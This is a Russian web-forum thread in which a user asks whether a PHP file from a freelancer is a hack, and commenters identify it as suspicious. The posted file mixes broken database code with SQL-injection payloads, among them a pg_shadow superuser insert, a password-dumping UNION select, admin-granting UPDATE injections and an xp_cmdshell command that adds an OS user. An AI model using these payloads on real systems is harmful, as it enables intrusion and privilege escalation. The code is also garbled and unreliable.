Фрилансер вместе с работой скинул файл в котором вот такой подозрительный код, что это?
Страницы: 1
Фрилансер вместе с работой скинул файл в котором вот такой подозрительный код, что это?
Что значит этот короткий код в файле, я так понимаю это взлом сервера?

<?php
$servername = $host;
$database = $db; 
$username = $name;
$password = $pass;

$sql = "mysql:host=$servername;dbname=$database;";
$dsn_Options = [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION];


try { 
  $my_Db_Connection = new PDO($sql, $username, $password, $dsn_Options);
  echo "Connected successfully";
} catch (PDOException $error) {
  echo 'Connection error: ' . $error->getMessage();
}


$my_Insert_Statement = $my_Db_Connection->prepare("INSERT INTO catalog (name, lastname, email) VALUES (:first_name, :last_name, :email)");

$my_Insert_Statement->bindParam(:first_name, $first_Name);
$my_Insert_Statement->bindParam(:last_name, $last_Name);
$my_Insert_Statement->bindParam(:email, $email);

if ($my_Insert_Statement->execute()) {
  echo "OK";
} else {
  echo "Error";
}
$my_Insert_Statement->execute();


if ($my_Insert_Statement->execute()) {
  echo "OK";
} else {
  echo "Error";
}

$offset = $argv[0]; 
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';$query  = "SELECT id, name, inserted, size FROM products
           WHERE size = '$size'";
$result = odbc_exec($conn, $query);


union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;


// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";

$query  = "SELECT * FROM products
           WHERE id LIKE '%a%'
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);


//Establishes the connection
$conn = sqlsrv_connect($serverName, $connectionOptions);
$tsql= "SELECT TOP 20 pc.Name as CategoryName, p.name as ProductName
        FROM [SalesLT].[ProductCategory] pc
        JOIN [SalesLT].[Product] p
     ON pc.productcategoryid = p.productcategoryid";
$getResults= sqlsrv_query($conn, $tsql);
echo ("Reading data from table" . PHP_EOL);
if ($getResults == FALSE)
    echo (sqlsrv_errors());
while ($row = sqlsrv_fetch_array($getResults, SQLSRV_FETCH_ASSOC)) {
 echo ($row['CategoryName'] . " " . $row['ProductName'] . PHP_EOL);
}
sqlsrv_free_stmt($getResults);

?>
Ну на вскидку код в БД сбрасывает каких-то юзверей (по паролям) и устанавливает кому-то из них пароль 'crack' или 'hehehe', а также права админа. Но это очень приблизительно.
Мы не можем похвастаться мудростью глаз
И умелыми жестами рук,
Нам не нужно все это, чтобы друг друга понять.
Сигареты в руках, чай на столе - так замыкается круг,
И вдруг нам становится страшно что-то менять.
Можно много чего предполагать, уточнили бы. Похоже увязаны как то товары и пользователи, может сброс пароля для редактирования товаров пользователя.. На этапе разработки какие то вещи тестируются отдельно, иногда в отдельных файлах.. зачем оно скажет тот кто делал
Вот несколько статей, они и натолкнули меня на мысль что этот код подозрителен https://studwood.ru/1047029/informatika/vnedrenie        https://konyakov.ru/pubs/php/php7/security.database.sql-injection.html
Очень подозрительный код, похоже на шелл.

★★★★★

inwoxer.ru - копии сайтов 800 руб, создание сайтов 200 руб, https сертификаты и другие услуги по СОЧНЫМ ценам. 
NEW! СЕО аудит 700 руб и прогон Твиттер 500 руб

★★★★★
А я искала помощь в раскрутке - (затёр)
Изменено: Prapovednik - 15 Августа 2018 10:14 (затёр)
Вот еще одну статью нашел с этим кодом http://php.net/manual/ru/security.database.sql-injection.php

Вообщем на мой вопрос для чего нужен этот файл, фрилансер сказал что  "файл этот вносит правки в базу данных, добавляя, обновляя, очищая ее"


Не знаю для чего это все ему нужно.

Вы будете сильно удивлены но это один из Пользователей данного форума, он здесь предоставляет свои услуги.... И возможно он даже прочитал эту тему)
Цитата
Иван Петров пишет:
фрилансер сказал что "файл этот вносит правки в базу данных, добавляя, обновляя, очищая ее"
врёт
Цитата
Иван Петров пишет:
Вы будете сильно удивлены но это один из Пользователей данного форума
Ну а чего удивляться-то, это обычный форум, и детектор лжи при регистрации тут никому проходить не надо.
У него здесь длинная тема с года 2013 и много отзывов, неприятная ситуация
Безопасный код со словами crack и вот этим вот UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE ??? Да ну нафиг.
Цитата
Иван Петров пишет:
У него здесь длинная тема с года 2013 и много отзывов, неприятная ситуация


Может тогда опубликуете ссылку на тему исполнителя?smile:)
Самый интересный участок:

Код
$query  = "SELECT * FROM products 
           WHERE id LIKE '%a%' 
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'"; 
$result = mssql_query($query); 


Создает в системе юзера "test", пароль "testpass", ну а дальше дело повышения привилегий, что как правило, опытному специалисту не составляет труда.
людмила василюк, бан. затёр
Страницы: 1
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
23:00 Google покинул Россию: Сервисы под угрозой! 
13:23 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 
13:16 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 
08:26 Помогите! ОТКРЫЛАСЬ монетизация на ЮТЮБ! Но Как быть в 2024 с Adsense? 
08:23 Rotapost прикрыли! Чем пользоваться? 
17:53 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
12:39 2Index - быстрая индексация страниц сайта и обратных ссылок 
22:56 Работа в сфере торговли криптовалютой | Обучаем 
16:55 Full-Stack Developer — Сайты и Софт любой сложности | Developer Websites and Soft of any Complexity! 
15:52 - Вечные ссылки с трастовых сайтов 2024 проверен FastTrust 
15:44 Graphex Affiliate — свежая крипто партнёрка с высоким процентом по Revshare и мультигео 
08:54 Легко! Качественно! Доступно! Профессионально пишу и размножаю тексты 
04:22 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
23:01 Скрипт обменника валют 
22:57 Точные прогнозы на футбол 
13:08 Бесплатный майнинг Tether (USDT) 
10:29 С юмором по жизни! 
16:49 monetizer.agency – рекламная сеть для взрослого и развлекательного трафика. 100$ новому вебмастеру 
20:43 Добро пожаловать в цифровой мир... 
15:59 Про мясо 
23:09 ПП от PMS remote.team - 200$ за команду